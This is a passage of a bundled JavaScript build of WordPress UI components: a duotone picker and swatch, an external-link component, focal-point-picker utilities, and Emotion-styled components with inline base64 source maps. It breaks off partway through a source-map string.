41333 options: options2,
41334 actions: !!clearable && /* @__PURE__ */ (0, import_jsx_runtime204.jsx)(circular_option_picker_default2.ButtonAction, {
41335 onClick: () => onChange(void 0),
41336 accessibleWhenDisabled: true,
41337 disabled: !value,
41338 children: (0, import_i18n48.__)("Clear")
41339 }),
41340 children: /* @__PURE__ */ (0, import_jsx_runtime204.jsx)(component_default6, {
41341 paddingTop: options2.length === 0 ? 0 : 4,
41342 children: /* @__PURE__ */ (0, import_jsx_runtime204.jsxs)(component_default18, {
41343 spacing: 3,
41344 children: [!disableCustomColors && !disableCustomDuotone && /* @__PURE__ */ (0, import_jsx_runtime204.jsx)(CustomDuotoneBar, {
41345 value: isUnset ? void 0 : value,
41346 onChange
41347 }), !disableCustomDuotone && /* @__PURE__ */ (0, import_jsx_runtime204.jsx)(color_list_picker_default, {
41348 labels: [(0, import_i18n48.__)("Shadows"), (0, import_i18n48.__)("Highlights")],
41349 colors: colorPalette,
41350 value: isUnset ? void 0 : value,
41351 disableCustomColors,
41352 enableAlpha: true,
41353 onChange: (newColors) => {
41354 if (!newColors[0]) {
41355 newColors[0] = defaultDark;
41356 }
41357 if (!newColors[1]) {
41358 newColors[1] = defaultLight;
41359 }
41360 const newValue = newColors.length >= 2 ? newColors : void 0;
41361 onChange(newValue);
41362 }
41363 })]
41364 })
41365 })
41366 });
41367 }
41368 var duotone_picker_default = DuotonePicker;
41369
41370 // packages/components/build-module/duotone-picker/duotone-swatch.mjs
41371 var import_jsx_runtime205 = __toESM(require_jsx_runtime(), 1);
41372 function DuotoneSwatch({
41373 values
41374 }) {
41375 return values ? /* @__PURE__ */ (0, import_jsx_runtime205.jsx)(color_indicator_default, {
41376 colorValue: getGradientFromCSSColors(values, "135deg")
41377 }) : /* @__PURE__ */ (0, import_jsx_runtime205.jsx)(icon_default3, {
41378 icon: swatch_default
41379 });
41380 }
41381 var duotone_swatch_default = DuotoneSwatch;
41382
41383 // packages/components/build-module/external-link/index.mjs
41384 var import_i18n49 = __toESM(require_i18n(), 1);
41385 var import_element138 = __toESM(require_element(), 1);
41386 var import_jsx_runtime206 = __toESM(require_jsx_runtime(), 1);
41387 function UnforwardedExternalLink(props, ref) {
41388 const {
41389 href,
41390 children,
41391 className: className2,
41392 rel = "",
41393 ...additionalProps
41394 } = props;
41395 const optimizedRel = [...new Set([...rel.split(" "), "external", "noreferrer", "noopener"].filter(Boolean))].join(" ");
41396 const classes = clsx_default("components-external-link", className2);
41397 const isInternalAnchor = !!href?.startsWith("#");
41398 const onClickHandler = (event) => {
41399 if (isInternalAnchor) {
41400 event.preventDefault();
41401 }
41402 if (props.onClick) {
41403 props.onClick(event);
41404 }
41405 };
41406 return (
41407 /* eslint-disable react/jsx-no-target-blank */
41408 /* @__PURE__ */ (0, import_jsx_runtime206.jsxs)("a", {
41409 ...additionalProps,
41410 className: classes,
41411 href,
41412 onClick: onClickHandler,
41413 target: "_blank",
41414 rel: optimizedRel,
41415 ref,
41416 children: [/* @__PURE__ */ (0, import_jsx_runtime206.jsx)("span", {
41417 className: "components-external-link__contents",
41418 children
41419 }), /* @__PURE__ */ (0, import_jsx_runtime206.jsx)("span", {
41420 className: clsx_default(
41421 "components-external-link__icon",
41422 // This class prevents the arrow from being replaced by a Twemoji image.
41423 "wp-exclude-emoji"
41424 ),
41425 "aria-label": (
41426 /* translators: accessibility text */
41427 (0, import_i18n49.__)("(opens in a new tab)")
41428 ),
41429 children: (0, import_i18n49.isRTL)() ? "\u2196" : "\u2197"
41430 })]
41431 })
41432 );
41433 }
41434 var ExternalLink = (0, import_element138.forwardRef)(UnforwardedExternalLink);
41435 ExternalLink.displayName = "ExternalLink";
41436 var external_link_default = ExternalLink;
41437
41438 // packages/components/build-module/focal-point-picker/index.mjs
41439 var import_i18n51 = __toESM(require_i18n(), 1);
41440 var import_element139 = __toESM(require_element(), 1);
41441 var import_compose54 = __toESM(require_compose(), 1);
41442
41443 // packages/components/build-module/focal-point-picker/controls.mjs
41444 var import_i18n50 = __toESM(require_i18n(), 1);
41445
41446 // packages/components/build-module/focal-point-picker/utils.mjs
41447 var INITIAL_BOUNDS = {
41448 width: 200,
41449 height: 170
41450 };
41451 var VIDEO_EXTENSIONS = ["avi", "mpg", "mpeg", "mov", "mp4", "m4v", "ogg", "ogv", "webm", "wmv"];
41452 function getExtension(filename = "") {
41453 const parts = filename.split(".");
41454 return parts[parts.length - 1];
41455 }
41456 function isVideoType(filename = "") {
41457 if (!filename) {
41458 return false;
41459 }
41460 return filename.startsWith("data:video/") || VIDEO_EXTENSIONS.includes(getExtension(filename));
41461 }
41462 function fractionToPercentage(fraction) {
41463 return Math.round(fraction * 100);
41464 }
41465
41466 // packages/components/build-module/focal-point-picker/styles/focal-point-picker-style.mjs
41467 function _EMOTION_STRINGIFIED_CSS_ERROR__32() {
41468 return "You have tried to stringify object returned from `css` function. It isn't supposed to be used directly (e.g. as value of the `className` prop), but rather handed to emotion so it can handle it (e.g. as value of `css` prop).";
41469 }
41470 var Container2 = /* @__PURE__ */ createStyled(component_default, false ? {
41471 target: "eeew7dm9"
41472 } : {
41473 target: "eeew7dm9",
41474 label: "Container"
41475 })("border:0;padding:0;margin:0;font-family:", font("default.fontFamily"), ";font-size:", font("default.fontSize"), ";", boxSizingReset, ";" + (false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbImZvY2FsLXBvaW50LXBpY2tlci1zdHlsZS50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFnQnVDIiwiZmlsZSI6ImZvY2FsLXBvaW50LXBpY2tlci1zdHlsZS50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB7IGNzcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcbmltcG9ydCBzdHlsZWQgZnJvbSAnQGVtb3Rpb24vc3R5bGVkJztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgRmxleCB9IGZyb20gJy4uLy4uL2ZsZXgnO1xuaW1wb3J0IFVuaXRDb250cm9sIGZyb20gJy4uLy4uL3VuaXQtY29udHJvbCc7XG5pbXBvcnQgeyBWaWV3IH0gZnJvbSAnLi4vLi4vdmlldyc7XG5pbXBvcnQgeyBDT0xPUlMsIENPTkZJRywgYm94U2l6aW5nUmVzZXQsIGZvbnQgfSBmcm9tICcuLi8uLi91dGlscyc7XG5pbXBvcnQgdHlwZSB7IEZvY2FsUG9pbnRQaWNrZXJDb250cm9sc1Byb3BzIH0gZnJvbSAnLi4vdHlwZXMnO1xuaW1wb3J0IHsgSU5JVElBTF9CT1VORFMgfSBmcm9tICcuLi91dGlscyc7XG5cbmV4cG9ydCBjb25zdCBDb250YWluZXIgPSBzdHlsZWQoIFZpZXcgKWBcblx0Ym9yZGVyOiAwO1xuXHRwYWRkaW5nOiAwO1xuXHRtYXJnaW46IDA7XG5cdGZvbnQtZmFtaWx5OiAkeyBmb250KCAnZGVmYXVsdC5mb250RmFtaWx5JyApIH07XG5cdGZvbnQtc2l6ZTogJHsgZm9udCggJ2RlZmF1bHQuZm9udFNpemUnICkgfTtcblx0JHsgYm94U2l6aW5nUmVzZXQgfVxuYDtcblxuZXhwb3J0IGNvbnN0IE1lZGlhV3JhcHBlciA9IHN0eWxlZC5kaXZgXG5cdGJhY2tncm91bmQtY29sb3I6IHRyYW5zcGFyZW50O1xuXHRkaXNwbGF5OiBmbGV4O1xuXHR0ZXh0LWFsaWduOiBjZW50ZXI7XG5cdHdpZHRoOiAxMDAlO1xuYDtcblxuZXhwb3J0IGNvbnN0IE1lZGlhQ29udGFpbmVyID0gc3R5bGVkLmRpdmBcblx0YWxpZ24taXRlbXM6IGNlbnRlcjtcblx0Ym9yZGVyLXJhZGl1czogJHsgQ09ORklHLnJhZGl1c1NtYWxsIH07XG5cdGN1cnNvcjogcG9pbnRlcjtcblx0ZGlzcGxheTogaW5saW5lLWZsZXg7XG5cdGp1c3RpZnktY29udGVudDogY2VudGVyO1xuXHRtYXJnaW46IGF1dG87XG5cdHBvc2l0aW9uOiByZWxhdGl2ZTtcblx0aGVpZ2h0OiAxMDAlO1xuXG5cdCY6YWZ0ZXIge1xuXHRcdGJvcmRlci1yYWRpdXM6IGluaGVyaXQ7XG5cdFx0Ym90dG9tOiAwO1xuXHRcdGJveC1zaGFkb3c6IGluc2V0IDAgMCAwIDFweCByZ2JhKCAwLCAwLCAwLCAwLjEgKTtcblx0XHRjb250ZW50OiAnJztcblx0XHRsZWZ0OiAwO1xuXHRcdHBvaW50ZXItZXZlbnRzOiBub25lO1xuXHRcdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0XHRyaWdodDogMDtcblx0XHR0b3A6IDA7XG5cdH1cblxuXHRpbWcsXG5cdHZpZGVvIHtcblx0XHRib3JkZXItcmFkaXVzOiBpbmhlcml0O1xuXHRcdGJveC1zaXppbmc6IGJvcmRlci1ib3g7XG5cdFx0ZGlzcGxheTogYmxvY2s7XG5cdFx0aGVpZ2h0OiBhdXRvO1xuXHRcdG1hcmdpbjogMDtcblx0XHRtYXgtaGVpZ2h0OiAxMDAlO1xuXHRcdG1heC13aWR0aDogMTAwJTtcblx0XHRwb2ludGVyLWV2ZW50czogbm9uZTtcblx0XHR1c2VyLXNlbGVjdDogbm9uZTtcblx0XHR3aWR0aDogMTAwJTtcblx0fVxuYDtcblxuZXhwb3J0IGNvbnN0IE1lZGlhUGxhY2Vob2xkZXIgPSBzdHlsZWQuZGl2YFxuXHRiYWNrZ3JvdW5kOiAkeyBDT0xPUlMuZ3JheVsgMTAwIF0gfTtcblx0Ym9yZGVyLXJhZGl1czogaW5oZXJpdDtcblx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblx0aGVpZ2h0OiAkeyBJTklUSUFMX0JPVU5EUy5oZWlnaHQgfXB4O1xuXHRtYXgtd2lkdGg6IDI4MHB4O1xuXHRtaW4td2lkdGg6ICR7IElOSVRJQUxfQk9VTkRTLndpZHRoIH1weDtcblx0d2lkdGg6IDEwMCU7XG5gO1xuXG5leHBvcnQgY29uc3QgU3R5bGVkVW5pdENvbnRyb2wgPSBzdHlsZWQoIFVuaXRDb250cm9sIClgXG5cdHdpZHRoOiAxMDAlO1xuYDtcblxuY29uc3QgZXh0cmFIZWxwVGV4dE1hcmdpbiA9ICgge1xuXHRoYXNIZWxwVGV4dCA9IGZhbHNlLFxufTogRm9jYWxQb2ludFBpY2tlckNvbnRyb2xzUHJvcHMgKSA9PiB7XG5cdHJldHVybiBoYXNIZWxwVGV4dFxuXHRcdD8gY3NzYFxuXHRcdFx0XHRwYWRkaW5nLWJvdHRvbTogMWVtO1xuXHRcdCAgYFxuXHRcdDogdW5kZWZpbmVkO1xufTtcblxuZXhwb3J0IGNvbnN0IENvbnRyb2xXcmFwcGVyID0gc3R5bGVkKCBGbGV4IClgXG5cdG1heC13aWR0aDogMzIwcHg7XG5cdHBhZGRpbmctdG9wOiAxZW07XG5cblx0JHsgZXh0cmFIZWxwVGV4dE1hcmdpbiB9XG5gO1xuXG5leHBvcnQgY29uc3QgR3JpZFZpZXcgPSBzdHlsZWQuZGl2YFxuXHRsZWZ0OiA1MCU7XG5cdG92ZXJmbG93OiBoaWRkZW47XG5cdHBvaW50ZXItZXZlbnRzOiBub25lO1xuXHRwb3NpdGlvbjogYWJzb2x1dGU7XG5cdHRvcDogNTAlO1xuXHR0cmFuc2Zvcm06IHRyYW5zbGF0ZTNkKCAtNTAlLCAtNTAlLCAwICk7XG5cdHotaW5kZXg6IDE7XG5cblx0QG1lZGlhIG5vdCAoIHByZWZlcnMtcmVkdWNlZC1tb3Rpb24gKSB7XG5cdFx0dHJhbnNpdGlvbjogb3BhY2l0eSAxMDBtcyBsaW5lYXI7XG5cdH1cblxuXHRvcGFjaXR5OiAkeyAoIHsgc2hvd092ZXJsYXkgfTogeyBzaG93T3ZlcmxheT86IGJvb2xlYW4gfSApID0+XG5cdFx0c2hvd092ZXJsYXkgPyAxIDogMCB9O1xuYDtcblxuZXhwb3J0IGNvbnN0IEdyaWRMaW5lID0gc3R5bGVkLmRpdmBcblx0YmFja2dyb3VuZDogcmdiYSggMjU1LCAyNTUsIDI1NSwgMC40ICk7XG5cdGJhY2tkcm9wLWZpbHRlcjogYmx1ciggMTZweCApIHNhdHVyYXRlKCAxODAlICk7XG5cdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0dHJhbnNmb3JtOiB0cmFuc2xhdGVaKCAwICk7XG5gO1xuXG5leHBvcnQgY29uc3QgR3JpZExpbmVYID0gc3R5bGVkKCBHcmlkTGluZSApYFxuXHRoZWlnaHQ6IDFweDtcblx0bGVmdDogMXB4O1xuXHRyaWdodDogMXB4O1xuYDtcblxuZXhwb3J0IGNvbnN0IEdyaWRMaW5lWSA9IHN0eWxlZCggR3JpZExpbmUgKWBcblx0d2lkdGg6IDFweDtcblx0dG9wOiAxcHg7XG5cdGJvdHRvbTogMXB4O1xuYDtcbiJdfQ== */"));
41476 var MediaWrapper = /* @__PURE__ */ createStyled("div", false ? {
41477 target: "eeew7dm8"
41478 } : {
41479 target: "eeew7dm8",
41480 label: "MediaWrapper"
41481 })(false ? {
41482 name: "jqnsxy",
41483 styles: "background-color:transparent;display:flex;text-align:center;width:100%"
41484 } : {
41485 name: "jqnsxy",
41486 styles: "background-color:transparent;display:flex;text-align:center;width:100%/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbImZvY2FsLXBvaW50LXBpY2tlci1zdHlsZS50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUF5QnNDIiwiZmlsZSI6ImZvY2FsLXBvaW50LXBpY2tlci1zdHlsZS50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB7IGNzcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcbmltcG9ydCBzdHlsZWQgZnJvbSAnQGVtb3Rpb24vc3R5bGVkJztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgRmxleCB9IGZyb20gJy4uLy4uL2ZsZXgnO1xuaW1wb3J0IFVuaXRDb250cm9sIGZyb20gJy4uLy4uL3VuaXQtY29udHJvbCc7XG5pbXBvcnQgeyBWaWV3IH0gZnJvbSAnLi4vLi4vdmlldyc7XG5pbXBvcnQgeyBDT0xPUlMsIENPTkZJRywgYm94U2l6aW5nUmVzZXQsIGZvbnQgfSBmcm9tICcuLi8uLi91dGlscyc7XG5pbXBvcnQgdHlwZSB7IEZvY2FsUG9pbnRQaWNrZXJDb250cm9sc1Byb3BzIH0gZnJvbSAnLi4vdHlwZXMnO1xuaW1wb3J0IHsgSU5JVElBTF9CT1VORFMgfSBmcm9tICcuLi91dGlscyc7XG5cbmV4cG9ydCBjb25zdCBDb250YWluZXIgPSBzdHlsZWQoIFZpZXcgKWBcblx0Ym9yZGVyOiAwO1xuXHRwYWRkaW5nOiAwO1xuXHRtYXJnaW46IDA7XG5cdGZvbnQtZmFtaWx5OiAkeyBmb250KCAnZGVmYXVsdC5mb250RmFtaWx5JyApIH07XG5cdGZvbnQtc2l6ZTogJHsgZm9udCggJ2RlZmF1bHQuZm9udFNpemUnICkgfTtcblx0JHsgYm94U2l6aW5nUmVzZXQgfVxuYDtcblxuZXhwb3J0IGNvbnN0IE1lZGlhV3JhcHBlciA9IHN0eWxlZC5kaXZgXG5cdGJhY2tncm91bmQtY29sb3I6IHRyYW5zcGFyZW50O1xuXHRkaXNwbGF5OiBmbGV4O1xuXHR0ZXh0LWFsaWduOiBjZW50ZXI7XG5cdHdpZHRoOiAxMDAlO1xuYDtcblxuZXhwb3J0IGNvbnN0IE1lZGlhQ29udGFpbmVyID0gc3R5bGVkLmRpdmBcblx0YWxpZ24taXRlbXM6IGNlbnRlcjtcblx0Ym9yZGVyLXJhZGl1czogJHsgQ09ORklHLnJhZGl1c1NtYWxsIH07XG5cdGN1cnNvcjogcG9pbnRlcjtcblx0ZGlzcGxheTogaW5saW5lLWZsZXg7XG5cdGp1c3RpZnktY29udGVudDogY2VudGVyO1xuXHRtYXJnaW46IGF1dG87XG5cdHBvc2l0aW9uOiByZWxhdGl2ZTtcblx0aGVpZ2h0OiAxMDAlO1xuXG5cdCY6YWZ0ZXIge1xuXHRcdGJvcmRlci1yYWRpdXM6IGluaGVyaXQ7XG5cdFx0Ym90dG9tOiAwO1xuXHRcdGJveC1zaGFkb3c6IGluc2V0IDAgMCAwIDFweCByZ2JhKCAwLCAwLCAwLCAwLjEgKTtcblx0XHRjb250ZW50OiAnJztcblx0XHRsZWZ0OiAwO1xuXHRcdHBvaW50ZXItZXZlbnRzOiBub25lO1xuXHRcdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0XHRyaWdodDogMDtcblx0XHR0b3A6IDA7XG5cdH1cblxuXHRpbWcsXG5cdHZpZGVvIHtcblx0XHRib3JkZXItcmFkaXVzOiBpbmhlcml0O1xuXHRcdGJveC1zaXppbmc6IGJvcmRlci1ib3g7XG5cdFx0ZGlzcGxheTogYmxvY2s7XG5cdFx0aGVpZ2h0OiBhdXRvO1xuXHRcdG1hcmdpbjogMDtcblx0XHRtYXgtaGVpZ2h0OiAxMDAlO1xuXHRcdG1heC13aWR0aDogMTAwJTtcblx0XHRwb2ludGVyLWV2ZW50czogbm9uZTtcblx0XHR1c2VyLXNlbGVjdDogbm9uZTtcblx0XHR3aWR0aDogMTAwJTtcblx0fVxuYDtcblxuZXhwb3J0IGNvbnN0IE1lZGlhUGxhY2Vob2xkZXIgPSBzdHlsZWQuZGl2YFxuXHRiYWNrZ3JvdW5kOiAkeyBDT0xPUlMuZ3JheVsgMTAwIF0gfTtcblx0Ym9yZGVyLXJhZGl1czogaW5oZXJpdDtcblx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblx0aGVpZ2h0OiAkeyBJTklUSUFMX0JPVU5EUy5oZWlnaHQgfXB4O1xuXHRtYXgtd2lkdGg6IDI4MHB4O1xuXHRtaW4td2lkdGg6ICR7IElOSVRJQUxfQk9VTkRTLndpZHRoIH1weDtcblx0d2lkdGg6IDEwMCU7XG5gO1xuXG5leHBvcnQgY29uc3QgU3R5bGVkVW5pdENvbnRyb2wgPSBzdHlsZWQoIFVuaXRDb250cm9sIClgXG5cdHdpZHRoOiAxMDAlO1xuYDtcblxuY29uc3QgZXh0cmFIZWxwVGV4dE1hcmdpbiA9ICgge1xuXHRoYXNIZWxwVGV4dCA9IGZhbHNlLFxufTogRm9jYWxQb2ludFBpY2tlckNvbnRyb2xzUHJvcHMgKSA9PiB7XG5cdHJldHVybiBoYXNIZWxwVGV4dFxuXHRcdD8gY3NzYFxuXHRcdFx0XHRwYWRkaW5nLWJvdHRvbTogMWVtO1xuXHRcdCAgYFxuXHRcdDogdW5kZWZpbmVkO1xufTtcblxuZXhwb3J0IGNvbnN0IENvbnRyb2xXcmFwcGVyID0gc3R5bGVkKCBGbGV4IClgXG5cdG1heC13aWR0aDogMzIwcHg7XG5cdHBhZGRpbmctdG9wOiAxZW07XG5cblx0JHsgZXh0cmFIZWxwVGV4dE1hcmdpbiB9XG5gO1xuXG5leHBvcnQgY29uc3QgR3JpZFZpZXcgPSBzdHlsZWQuZGl2YFxuXHRsZWZ0OiA1MCU7XG5cdG92ZXJmbG93OiBoaWRkZW47XG5cdHBvaW50ZXItZXZlbnRzOiBub25lO1xuXHRwb3NpdGlvbjogYWJzb2x1dGU7XG5cdHRvcDogNTAlO1xuXHR0cmFuc2Zvcm06IHRyYW5zbGF0ZTNkKCAtNTAlLCAtNTAlLCAwICk7XG5cdHotaW5kZXg6IDE7XG5cblx0QG1lZGlhIG5vdCAoIHByZWZlcnMtcmVkdWNlZC1tb3Rpb24gKSB7XG5cdFx0dHJhbnNpdGlvbjogb3BhY2l0eSAxMDBtcyBsaW5lYXI7XG5cdH1cblxuXHRvcGFjaXR5OiAkeyAoIHsgc2hvd092ZXJsYXkgfTogeyBzaG93T3ZlcmxheT86IGJvb2xlYW4gfSApID0+XG5cdFx0c2hvd092ZXJsYXkgPyAxIDogMCB9O1xuYDtcblxuZXhwb3J0IGNvbnN0IEdyaWRMaW5lID0gc3R5bGVkLmRpdmBcblx0YmFja2dyb3VuZDogcmdiYSggMjU1LCAyNTUsIDI1NSwgMC40ICk7XG5cdGJhY2tkcm9wLWZpbHRlcjogYmx1ciggMTZweCApIHNhdHVyYXRlKCAxODAlICk7XG5cdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0dHJhbnNmb3JtOiB0cmFuc2xhdGVaKCAwICk7XG5gO1xuXG5leHBvcnQgY29uc3QgR3JpZExpbmVYID0gc3R5bGVkKCBHcmlkTGluZSApYFxuXHRoZWlnaHQ6IDFweDtcblx0bGVmdDogMXB4O1xuXHRyaWdodDogMXB4O1xuYDtcblxuZXhwb3J0IGNvbnN0IEdyaWRMaW5lWSA9IHN0eWxlZCggR3JpZExpbmUgKWBcblx0d2lkdGg6IDFweDtcblx0dG9wOiAxcHg7XG5cdGJvdHRvbTogMXB4O1xuYDtcbiJdfQ== */",
41487 toString: _EMOTION_STRINGIFIED_CSS_ERROR__32
41488 });
41489 var MediaContainer = /* @__PURE__ */ createStyled("div", false ? {
41490 target: "eeew7dm7"
41491 } : {
41492 target: "eeew7dm7",
41493 label: "MediaContainer"
41494 })("align-items:center;border-radius:", config_values_default.radiusSmall, ";cursor:pointer;display:inline-flex;justify-content:center;margin:auto;position:relative;height:100%;&:after{border-radius:inherit;bottom:0;box-shadow:inset 0 0 0 1px rgba( 0, 0, 0, 0.1 );content:'';left:0;pointer-events:none;position:absolute;right:0;top:0;}img,video{border-radius:inherit;box-sizing:border-box;display:block;height:auto;margin:0;max-height:100%;max-width:100%;pointer-events:none;user-select:none;width:100%;}" + (false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbImZvY2FsLXBvaW50LXBpY2tlci1zdHlsZS50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFnQ3dDIiwiZmlsZSI6ImZvY2FsLXBvaW50LXBpY2tlci1zdHlsZS50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB7IGNzcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcbmltcG9ydCBzdHlsZWQgZnJvbSAnQGVtb3Rpb24vc3R5bGVkJztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgRmxleCB9IGZyb20gJy4uLy4uL2ZsZXgnO1xuaW1wb3J0IFVuaXRDb250cm9sIGZyb20gJy4uLy4uL3VuaXQtY29udHJvbCc7XG5pbXBvcnQgeyBWaWV3IH0gZnJvbSAnLi4vLi4vdmlldyc7XG5pbXBvcnQgeyBDT0xPUlMsIENPTkZJRywgYm94U2l6aW5nUmVzZXQsIGZvbnQgfSBmcm9tICcuLi8uLi91dGlscyc7XG5pbXBvcnQgdHlwZSB7IEZvY2FsUG9pbnRQaWNrZXJDb250cm9sc1Byb3BzIH0gZnJvbSAnLi4vdHlwZXMnO1xuaW1wb3J0IHsgSU5JVElBTF9CT1VORFMgfSBmcm9tICcuLi91dGlscyc7XG5cbmV4cG9ydCBjb25zdCBDb250YWluZXIgPSBzdHlsZWQoIFZpZXcgKWBcblx0Ym9yZGVyOiAwO1xuXHRwYWRkaW5nOiAwO1xuXHRtYXJnaW46IDA7XG5cdGZvbnQtZmFtaWx5OiAkeyBmb250KCAnZGVmYXVsdC5mb250RmFtaWx5JyApIH07XG5cdGZvbnQtc2l6ZTogJHsgZm9udCggJ2RlZmF1bHQuZm9udFNpemUnICkgfTtcblx0JHsgYm94U2l6aW5nUmVzZXQgfVxuYDtcblxuZXhwb3J0IGNvbnN0IE1lZGlhV3JhcHBlciA9IHN0eWxlZC5kaXZgXG5cdGJhY2tncm91bmQtY29sb3I6IHRyYW5zcGFyZW50O1xuXHRkaXNwbGF5OiBmbGV4O1xuXHR0ZXh0LWFsaWduOiBjZW50ZXI7XG5cdHdpZHRoOiAxMDAlO1xuYDtcblxuZXhwb3J0IGNvbnN0IE1lZGlhQ29udGFpbmVyID0gc3R5bGVkLmRpdmBcblx0YWxpZ24taXRlbXM6IGNlbnRlcjtcblx0Ym9yZGVyLXJhZGl1czogJHsgQ09ORklHLnJhZGl1c1NtYWxsIH07XG5cdGN1cnNvcjogcG9pbnRlcjtcblx0ZGlzcGxheTogaW5saW5lLWZsZXg7XG5cdGp1c3RpZnktY29udGVudDogY2VudGVyO1xuXHRtYXJnaW46IGF1dG87XG5cdHBvc2l0aW9uOiByZWxhdGl2ZTtcblx0aGVpZ2h0OiAxMDAlO1xuXG5cdCY6YWZ0ZXIge1xuXHRcdGJvcmRlci1yYWRpdXM6IGluaGVyaXQ7XG5cdFx0Ym90dG9tOiAwO1xuXHRcdGJveC1zaGFkb3c6IGluc2V0IDAgMCAwIDFweCByZ2JhKCAwLCAwLCAwLCAwLjEgKTtcblx0XHRjb250ZW50OiAnJztcblx0XHRsZWZ0OiAwO1xuXHRcdHBvaW50ZXItZXZlbnRzOiBub25lO1xuXHRcdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0XHRyaWdodDogMDtcblx0XHR0b3A6IDA7XG5cdH1cblxuXHRpbWcsXG5cdHZpZGVvIHtcblx0XHRib3JkZXItcmFkaXVzOiBpbmhlcml0O1xuXHRcdGJveC1zaXppbmc6IGJvcmRlci1ib3g7XG5cdFx0ZGlzcGxheTogYmxvY2s7XG5cdFx0aGVpZ2h0OiBhdXRvO1xuXHRcdG1hcmdpbjogMDtcblx0XHRtYXgtaGVpZ2h0OiAxMDAlO1xuXHRcdG1heC13aWR0aDogMTAwJTtcblx0XHRwb2ludGVyLWV2ZW50czogbm9uZTtcblx0XHR1c2VyLXNlbGVjdDogbm9uZTtcblx0XHR3aWR0aDogMTAwJTtcblx0fVxuYDtcblxuZXhwb3J0IGNvbnN0IE1lZGlhUGxhY2Vob2xkZXIgPSBzdHlsZWQuZGl2YFxuXHRiYWNrZ3JvdW5kOiAkeyBDT0xPUlMuZ3JheVsgMTAwIF0gfTtcblx0Ym9yZGVyLXJhZGl1czogaW5oZXJpdDtcblx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblx0aGVpZ2h0OiAkeyBJTklUSUFMX0JPVU5EUy5oZWlnaHQgfXB4O1xuXHRtYXgtd2lkdGg6IDI4MHB4O1xuXHRtaW4td2lkdGg6ICR7IElOSVRJQUxfQk9VTkRTLndpZHRoIH1weDtcblx0d2lkdGg6IDEwMCU7XG5gO1xuXG5leHBvcnQgY29uc3QgU3R5bGVkVW5pdENvbnRyb2wgPSBzdHlsZWQoIFVuaXRDb250cm9sIClgXG5cdHdpZHRoOiAxMDAlO1xuYDtcblxuY29uc3QgZXh0cmFIZWxwVGV4dE1hcmdpbiA9ICgge1xuXHRoYXNIZWxwVGV4dCA9IGZhbHNlLFxufTogRm9jYWxQb2ludFBpY2tlckNvbnRyb2xzUHJvcHMgKSA9PiB7XG5cdHJldHVybiBoYXNIZWxwVGV4dFxuXHRcdD8gY3NzYFxuXHRcdFx0XHRwYWRkaW5nLWJvdHRvbTogMWVtO1xuXHRcdCAgYFxuXHRcdDogdW5kZWZpbmVkO1xufTtcblxuZXhwb3J0IGNvbnN0IENvbnRyb2xXcmFwcGVyID0gc3R5bGVkKCBGbGV4IClgXG5cdG1heC13aWR0aDogMzIwcHg7XG5cdHBhZGRpbmctdG9wOiAxZW07XG5cblx0JHsgZXh0cmFIZWxwVGV4dE1hcmdpbiB9XG5gO1xuXG5leHBvcnQgY29uc3QgR3JpZFZpZXcgPSBzdHlsZWQuZGl2YFxuXHRsZWZ0OiA1MCU7XG5cdG92ZXJmbG93OiBoaWRkZW47XG5cdHBvaW50ZXItZXZlbnRzOiBub25lO1xuXHRwb3NpdGlvbjogYWJzb2x1dGU7XG5cdHRvcDogNTAlO1xuXHR0cmFuc2Zvcm06IHRyYW5zbGF0ZTNkKCAtNTAlLCAtNTAlLCAwICk7XG5cdHotaW5kZXg6IDE7XG5cblx0QG1lZGlhIG5vdCAoIHByZWZlcnMtcmVkdWNlZC1tb3Rpb24gKSB7XG5cdFx0dHJhbnNpdGlvbjogb3BhY2l0eSAxMDBtcyBsaW5lYXI7XG5cdH1cblxuXHRvcGFjaXR5OiAkeyAoIHsgc2hvd092ZXJsYXkgfTogeyBzaG93T3ZlcmxheT86IGJvb2xlYW4gfSApID0+XG5cdFx0c2hvd092ZXJsYXkgPyAxIDogMCB9O1xuYDtcblxuZXhwb3J0IGNvbnN0IEdyaWRMaW5lID0gc3R5bGVkLmRpdmBcblx0YmFja2dyb3VuZDogcmdiYSggMjU1LCAyNTUsIDI1NSwgMC40ICk7XG5cdGJhY2tkcm9wLWZpbHRlcjogYmx1ciggMTZweCApIHNhdHVyYXRlKCAxODAlICk7XG5cdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0dHJhbnNmb3JtOiB0cmFuc2xhdGVaKCAwICk7XG5gO1xuXG5leHBvcnQgY29uc3QgR3JpZExpbmVYID0gc3R5bGVkKCBHcmlkTGluZSApYFxuXHRoZWlnaHQ6IDFweDtcblx0bGVmdDogMXB4O1xuXHRyaWdodDogMXB4O